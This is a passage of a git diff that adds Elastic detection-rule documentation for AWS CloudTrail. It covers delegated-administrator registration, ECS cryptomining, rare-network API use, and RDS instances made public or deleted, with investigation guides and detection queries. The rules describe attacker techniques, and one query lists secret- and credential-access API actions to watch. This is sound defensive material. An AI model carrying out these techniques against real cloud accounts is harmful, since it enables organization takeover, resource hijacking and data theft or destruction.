+---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-organizations-delegated-administrator-registered.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-organizations-delegated-administrator-registered.asciidoc new file mode 100644 index 0000000000..56d5a8480f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-organizations-delegated-administrator-registered.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-aws-organizations-delegated-administrator-registered]] +=== AWS Organizations Delegated Administrator Registered + +Detects when an AWS member account is registered as a delegated administrator for an AWS service via the RegisterDelegatedAdministrator API. Delegated administrators receive service-level administrative access across the entire organization without being the management account. An attacker who compromises a principal with organizations permissions can abuse overly permissive managed policies to register a member account they control as a delegated administrator, then use that privileged access to escalate privileges organization-wide and compromise all member accounts. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/organizations/latest/APIReference/API_RegisterDelegatedAdministrator.html +* https://cymulate.com/blog/aws-delegated-admin-org-takeover/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Organizations +* Rule Type: Custom Query (KQL) +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Organizations Delegated Administrator Registered* + + +AWS allows organizations to delegate service-level administrative access to a member account via RegisterDelegatedAdministrator. The delegated account gains organization-wide administrative privileges for the specified service without being the management account. Adversaries who compromise a principal in the management account with overly permissive Organizations policies can register an attacker-controlled member account as a delegated administrator, then use that foothold to escalate privileges across all accounts in the organization. + +This technique was documented by Cymulate, who found that AmazonGuardDutyFullAccess v1 (before AWS corrected it) granted organizations:RegisterDelegatedAdministrator without resource restrictions, allowing any principal with that policy to elevate a member account to organization-wide admin for sensitive services such as Identity Center or CloudFormation StackSets. + + +*Possible investigation steps* + + +- Identify the caller in aws.cloudtrail.user_identity.arn and user.name. Verify they are an authorized cloud platform administrator. +- Review aws.cloudtrail.request_parameters for the servicePrincipal (which AWS service was delegated) and accountId (which member account was elevated). Confirm the member account belongs to your organization's account inventory. +- Determine whether this delegation was planned. Compare against your organization's current delegated administrator configuration via organizations:ListDelegatedAdministrators. +- Check whether the newly elevated member account subsequently made cross-account API calls or modified permission sets, IAM roles, or CloudFormation stacks. +- Review which managed policies are attached to the calling principal. Policies with broad organizations:* grants without resource restrictions may be exploited for this technique. + + +*Response and remediation* + + +- If unauthorized, deregister the delegated administrator with organizations:DeregisterDelegatedAdministrator. +- Revoke active sessions for the calling identity and audit all management account activity. +- Review and tighten IAM policies attached to principals in the management account — ensure organizations:RegisterDelegatedAdministrator is restricted to a dedicated, MFA-required role. +- Enumerate all delegated administrators in the organization to identify any additional unauthorized delegations. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. Organizations management events are logged in the organization management account by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "organizations.amazonaws.com" + and event.action: "RegisterDelegatedAdministrator" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc new file mode 100644 index 0000000000..1491d4e3b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-potential-cryptomining-via-ecs-task-definition-deployment.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-potential-cryptomining-via-ecs-task-definition-deployment]] +=== AWS Potential Cryptomining via ECS Task Definition Deployment + +Identifies a principal that, within a short window, both registers an Amazon ECS task definition using a public / non-ECR container image at a high CPU allocation (8 or 16 vCPU) AND launches ECS workloads (RunTask, StartTask, or CreateService). Registering a public miner image at maximum compute and then launching it is the ECS/Fargate cryptocurrency-mining deployment pattern seen after credential compromise. Requiring both the mining-signature registration and a launch by the same principal confirms an actual deployment rather than a standalone (possibly benign) task-definition registration, which sharply reduces false positives from high-compute workloads that are merely registered. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-ecs-crypto-mining/ +* https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Cryptomining +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Potential Cryptomining via ECS Task Definition Deployment* + + +Amazon ECS runs containers from images referenced in a task definition. After credential compromise, a common impact action is to abuse ECS/Fargate for cryptomining: the adversary registers a task definition pointing at a public miner image (Docker Hub, GHCR, Quay, or the public ECR gallery) at maximum CPU to maximize hashrate, then launches it at scale via RunTask/CreateService, often across multiple regions. + +This rule correlates by principal within the rule window and fires only when the same identity BOTH (a) registers a task definition whose container image comes from a public registry and whose CPU is high (8-16 vCPU), AND (b) launches ECS workloads (RunTask/StartTask/CreateService). Requiring the launch in addition to the mining-signature registration confirms active deployment and distinguishes it from a task definition that is merely registered. + + +*Possible investigation steps* + + +- Review the RegisterTaskDefinition event's "aws.cloudtrail.request_parameters" for the container image, CPU/memory, and task family, and the launch event(s) for the cluster and desired count. +- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and whether it normally operates ECS; review "source.ip"/"source.as.number" and "user_agent.original". +- Correlate with related activity by the same principal: ECS "CreateCluster" (especially in unused regions), new IAM users with administrative policies, and prior reconnaissance. +- Inspect the referenced image and any running containers/tasks and their outbound network connections (mining-pool traffic). + + +*False positive analysis* + + +- Legitimate batch/data-science workloads may both register a high-compute public-image task definition and run it. Validate the image, workload, and principal, and exclude known-good identities after confirmation. + + +*Response and remediation* + + +- If unauthorized, stop and delete the launched services/tasks, deregister the task definition, and review other regions for the same activity. +- Investigate the principal for compromise, revoke or rotate its credentials, and review for persistence (new IAM users/policies). +- Restrict ECS task-definition registration and task execution roles, and require images from approved private ECR repositories. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "ecs.amazonaws.com" + AND event.action IN ("RegisterTaskDefinition", "RunTask", "StartTask", "CreateService") +| EVAL Esql.miner_register = CASE( + event.action == "RegisterTaskDefinition" + AND (aws.cloudtrail.request_parameters RLIKE """.*image=(docker.io|index.docker.io|ghcr.io|quay.io|public.ecr.aws)/.*""" + OR aws.cloudtrail.request_parameters RLIKE """.*image=[-a-zA-Z0-9_]+(/|[,} :]).*""") + AND aws.cloudtrail.request_parameters RLIKE """.*cpu=(8192|16384)[,} ].*""", 1, 0), + Esql.task_run = CASE(event.action IN ("RunTask", "StartTask", "CreateService"), 1, 0) +| STATS Esql.miner_register_sum = SUM(Esql.miner_register), Esql.task_run_sum = SUM(Esql.task_run), Esql.event_count = COUNT(*), + Esql.cloud_region_count_distinct = COUNT_DISTINCT(cloud.region), Esql.cloud_region_values = VALUES(cloud.region), + Esql.event_action_values = VALUES(event.action), Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_number_values = VALUES(source.as.number), Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.cloud_account_id_values = VALUES(cloud.account.id), Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.timestamp_min = MIN(@timestamp), Esql.timestamp_max = MAX(@timestamp) + BY aws.cloudtrail.user_identity.arn +| WHERE Esql.miner_register_sum >= 1 AND Esql.task_run_sum >= 1 +| KEEP aws.*, Esql.aws_cloudtrail_user_identity_type_values, Esql.miner_register_sum, Esql.task_run_sum, Esql.event_count, Esql.cloud_region_count_distinct, Esql.cloud_region_values, Esql.event_action_values, Esql.source_ip_values, Esql.source_as_number_values, Esql.user_agent_original_values, Esql.cloud_account_id_values, Esql.timestamp_min, Esql.timestamp_max + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rare-source-as-organization-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rare-source-as-organization-activity.asciidoc new file mode 100644 index 0000000000..ea6313e2be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rare-source-as-organization-activity.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-aws-rare-source-as-organization-activity]] +=== AWS Rare Source AS Organization Activity + +Surfaces an AWS identity whose successful API traffic is dominated by a small set of large cloud-provider source AS organization labels, yet also shows a very small share of traffic from other AS organization names—including at least one sensitive control-plane, credential, storage, or model-invocation action on that uncommon network path with recent activity from the uncommon path. The intent is to highlight disproportionate “baseline” cloud egress versus sparse use from rarer networks on the same principal, a shape that can appear when automation or CI credentials are reused or pivoted outside their usual hosted-cloud footprint. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Slow +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Rare Source AS Organization Activity After High Cloud-Provider Volume* + + +The rule aggregates roughly seven days of successful CloudTrail per `user.name` and `aws.cloudtrail.user_identity.type`. +It expects a **high count** of events whose GeoIP AS organization matches a short allowlist of large cloud/SaaS providers, +**at least one** event from a different AS organization, a **low ratio** of uncommon-network events to all events, few +**distinct** uncommon AS labels, and **recent** uncommon-network timestamps. It further requires at least one +**sensitive** API from an uncommon network (see query `event.action` list). + + +*Possible investigation steps* + + +- Compare `Esql.src_asn_values` to `Esql.user_agent_values` and map each `source.ip` (from raw CloudTrail) to expected + admin paths, pipelines, or offices. +- Pivot on `user.name` and `aws.cloudtrail.user_identity.access_key_id` (from underlying events) for IAM, STS, S3, and + Secrets Manager activity around `Esql.most_recent_low_asn_day`. +- Confirm whether the identity is meant for automation only; if so, rare human ISP ASNs warrant higher scrutiny. +- Review `Esql.untrusted_suspicious_actions` for the mix of discovery versus privilege-changing APIs. + + +*False positive analysis* + + +- **Threshold sensitivity**: Raise `Esql.trusted_cloud_event_count` or Lower `Esql.rare_asn_ratio` and `Esql.untrusted_event_count` if legitimate rare-ASN + noise persists. +- **MongoDB / other allowlist labels**: Extend `is_trusted_cloud` if your approved automation consistently appears under + another legal-entity string. + + +*Response and remediation* + + +- If abuse is plausible: rotate credentials for the principal, enforce OIDC or short-lived keys for automation, and + tighten IAM and data-plane permissions. + + +*Additional information* + + +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html[CloudTrail user identity] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.dataset == "aws.cloudtrail" + AND event.outcome == "success" + AND source.as.organization.name IS NOT NULL + AND user.name IS NOT NULL + +| EVAL is_trusted_cloud = CASE( + source.as.organization.name LIKE "Amazon*" OR + source.as.organization.name == "Google LLC" OR + source.as.organization.name == "Microsoft Corporation" OR + source.as.organization.name == "MongoDB, Inc.", + true, false + ) + +| EVAL is_suspicious_action = CASE( + event.action IN ( + "GetCallerIdentity", "GetAccountSummary", "ListAccountAliases", + "GetSecretValue", "ListSecrets", "DescribeSecret", + "GetParameter", "GetParameters", "GetParametersByPath", + "AssumeRole", "AssumeRoleWithWebIdentity", "AssumeRoleWithSAML", + "AttachUserPolicy", "AttachRolePolicy", + "PutUserPolicy", "PutRolePolicy", + "CreateAccessKey", "UpdateAccessKey", + "CreateUser", "CreateLoginProfile", + "UpdateLoginProfile", "AddUserToGroup", + "GetObject", "ListBuckets", "ListObjects", "ListObjectsV2", + "InvokeModel", "InvokeModelWithResponseStream", "Converse" + ), true, false + ) + +// Single aggregation — full event count preserved for ratio logic +// suspicious action tracking is additive on top +| STATS + Esql.total_events_all_asns = COUNT(*), + Esql.count_distinct_asns = COUNT_DISTINCT(source.as.organization.name), + Esql.src_asn_values = VALUES(source.as.organization.name), + Esql.user_agent_values = VALUES(user_agent.original), + Esql.related_users = VALUES(user.changes.name), + Esql.source_ip_values = VALUES(source.address), + Esql.has_trusted_cloud_asn = MAX(is_trusted_cloud), + Esql.trusted_cloud_event_count = SUM(CASE(is_trusted_cloud == true, 1, 0)), + Esql.untrusted_event_count = SUM(CASE(is_trusted_cloud == false, 1, 0)), + // Suspicious action visibility from untrusted ASNs — informational only, not a filter + Esql.untrusted_suspicious_count = SUM(CASE( + is_trusted_cloud == false AND is_suspicious_action == true, 1, 0 + )), + Esql.untrusted_suspicious_actions = VALUES(CASE( + is_trusted_cloud == false AND is_suspicious_action == true, + event.action, null + )), + Esql.most_recent_low_asn_day = MAX(CASE( + is_trusted_cloud == false, @timestamp, null + )) + BY user.name, aws.cloudtrail.user_identity.type + +| EVAL Esql.rare_asn_ratio = TO_DOUBLE(Esql.untrusted_event_count) / TO_DOUBLE(Esql.total_events_all_asns), + Esql.unique_action_from_untrusted_asn = MV_COUNT(Esql.untrusted_suspicious_actions) + +// Detection thresholds — unchanged, full event counts drive the logic +| WHERE Esql.has_trusted_cloud_asn == true + AND Esql.untrusted_event_count >= 1 + AND Esql.trusted_cloud_event_count >= 100 + AND Esql.rare_asn_ratio <= 0.01 + AND Esql.unique_action_from_untrusted_asn >= 2 + AND Esql.count_distinct_asns <= 5 + AND Esql.most_recent_low_asn_day >= NOW() - 1 hour + +| KEEP user.name, + aws.cloudtrail.user_identity.type, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-made-public.asciidoc new file mode 100644 index 0000000000..bfc821870f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-made-public.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-instance-made-public]] +=== AWS RDS DB Instance Made Public + +Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence#make-instance-publicly-accessible-rds-modifydbinstance +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-createdbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS +* Tactic: Defense Evasion +* Tactic: Persistence +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Made Public* + + +This rule detects when an Amazon RDS DB instance or cluster is created or modified with +`publiclyAccessible=true`. While some environments operate publicly accessible RDS instances, +unexpected exposure of a database to the internet is a meaningful security risk. Adversaries who +gain access to AWS credentials may modify a DB instance’s public accessibility to exfiltrate data, +establish persistence, or bypass internal network restrictions. + + +*Possible Investigation Steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Determine whether the user, role, or automation service typically manages RDS configurations. + +- **Examine the request parameters** + - Review `aws.cloudtrail.request_parameters` for: + - `publiclyAccessible=true` + - DBInstanceIdentifier / DBClusterIdentifier + - Additional changes included in the same modification request (e.g., master user changes, security group updates) + +- **Validate the target resource** + - Determine the sensitivity of the instance: + - What data does it store? + - Is it production, staging, dev, or ephemeral? + - Confirm whether the instance was previously private. + +- **Assess network exposure** + - Check associated security groups for: + - `0.0.0.0/0` (unrestricted ingress) + - Unexpected IP ranges + - Review VPC/subnet placement to determine if the instance is reachable externally. + +- **Correlate with other recent CloudTrail activity** + - Look for related events performed by the same actor: + - `AuthorizeSecurityGroupIngress` + - `ModifyDBInstance` + - IAM policy modifications enabling broader DB access + - Look for indicators of credential misuse: + - unusual `source.ip` + - unusual `user_agent.original` + - MFA not used (`session_context.mfa_authenticated=false`) + +- **Validate intent with owners** + - Contact the service or database owner to confirm whether the change was an approved part of a deployment or migration. + + +*False Positive Analysis* + + +- **Expected public-access configuration** + - Some workloads intentionally require public access (e.g., internet-facing reporting tools). + - Validate against change management tickets, deployment pipelines, or Terraform/IaC automation logs. + + +*Response and Remediation* + + +- **Containment** + - If exposure is unauthorized: + - Modify the instance to disable public access (`publiclyAccessible=false`). + - Restrict the security group inbound rules immediately. + - Snapshot the instance to preserve state if compromise is suspected. + +- **Investigation** + - Review all recent actions from the same IAM principal. + - Check for data access patterns (CloudWatch, RDS Enhanced Monitoring, VPC Flow Logs). + - Identify whether this exposure correlates with suspicious outbound network activity. + +- **Hardening** + - Require private-only RDS instances unless explicitly documented. + - Enforce security group least privilege and block public DB access via: + - AWS Config rules (`rds-instance-public-access-check`) + - Service Control Policies (SCPs) preventing public RDS settings + - Implement continuous monitoring for network or configuration drift. + +- **Recovery** + - Restore the database to a private subnet if necessary. + - Rotate credentials used by the DB instance and associated applications. + - Document the incident and update policies or IaC templates to prevent recurrence. + + +*Additional Information:* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + or + (event.action in ("CreateDBInstance", "CreateDBCluster") and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + ) + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deleted.asciidoc new file mode 100644 index 0000000000..81f3228ee1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deleted.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deleted]] +=== AWS RDS DB Instance or Cluster Deleted + +Identifies the deletion of an Amazon RDS DB instance, Aurora cluster, or global database cluster. Deleting these resources permanently destroys stored data and can cause major service disruption. Adversaries with sufficient permissions may delete RDS resources to impede recovery, destroy evidence, or inflict operational impact on the environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteGlobalCluster.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBInstance.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Deleted* + + +This rule detects the deletion of an RDS DB instance, Aurora DB cluster, or global database cluster. These operations permanently remove stored data and backups unless final snapshots are explicitly retained. Adversaries may delete RDS resources as part of a destructive attack, to eliminate forensic evidence, or to disrupt critical workloads. Because deletions are irreversible without backups, immediate review is required to determine whether the action was authorized and assess potential data loss. + + +*Possible investigation steps* + + +**Identify the Actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. +- Validate: + - Is this user/role authorized to delete DB instances or clusters? + - Does this action align with past behavior? + +**Review the Deletion Event** +- Confirm which action was invoked: `DeleteDBInstance`, `DeleteDBCluster` or `DeleteGlobalCluster` +- Examine `aws.cloudtrail.request_parameters`. Identify which resource was deleted and whether a final snapshot was created before deletion. + +**Analyze Source and Access Context** +- Check `source.ip`, `source.geo` fields and `user_agent.original` +- Validate whether: + - The request originated from a known network or VPN. + - The user normally logs in from this location. + - The call was made via AWS Console vs CLI vs SDK. + +**Correlate Surrounding Activity** +Search CloudTrail for: +- Recent IAM role or policy changes. +- Privilege escalation events (STS AssumeRole, CreateAccessKey, AttachUserPolicy). +- Disablement of related safety controls: + - deletionProtection modified to `false` + - backupRetentionPeriod set to `0` +- Suspicious sequencing: + - Snapshots deleted before the instance/cluster deletion. + - Network security group modifications enabling broader access before deletion. + +**Validate Organizational Intent** +- Contact the service owner or DB administrator to confirm whether the deletion is expected. + +**Assess Impact and Data Recovery Path** +- Identify which DB instance or cluster was deleted +- Evaluate: + - Whether automated backups existed. + - Whether point-in-time recovery is still possible. + - Whether a final snapshot was created. + + +*False positive analysis* + + +- **Planned decommissioning**: + - Confirm if this action aligns with a scheduled removal or environment cleanup. +- **CloudFormation stack deletion**: + - Stack teardown often deletes RDS resources; confirm if this occurred. +- **Automated testing or ephemeral environments**: + - Test/dev pipelines may frequently create and delete clusters. +- **Infrastructure-as-code workflows**: + - Terraform destroys or GitOps cleanup jobs can generate legitimate deletion events. + + +*Response and remediation* + + +**If the deletion was unauthorized:** +**Immediately restrict the actor** + - Disable or revoke the user’s access keys. + - Revoke active session tokens. + +**Attempt recovery** + - Restore from: + - Final snapshot (if created) + - Automated backups + - Rebuild cluster/instance configurations based on IaC or documented templates. + +**Perform full log review** + - CloudTrail, RDS Enhanced Monitoring, and VPC Flow Logs + - Identify lateral movement or privilege escalation preceding the deletion. + +**Scope and contain the incident** + - Determine whether: + - Additional RDS resources were targeted + - IAM permissions were modified + - Other destructive API calls were made + +**Hardening actions** + - Enable deletionProtection on all critical instances/clusters. + - Require final snapshot creation for all deletion operations. + - Enforce MFA for IAM users with RDS privileges. + - Limit RDS modification/deletion permissions to specific IAM roles. + +**Documentation and Follow-Up** + - Update incident response runbooks. + - Communicate with service owners and leadership. + - Add enhanced monitoring rules around: + - Snapshot deletions + - Backup retention modifications + - RDS role changes + - DeletionProtection disable events + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: (DeleteDBCluster or DeleteGlobalCluster or DeleteDBInstance) + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc new file mode 100644 index 0000000000..e4d9d21627 --- /dev/null +++ 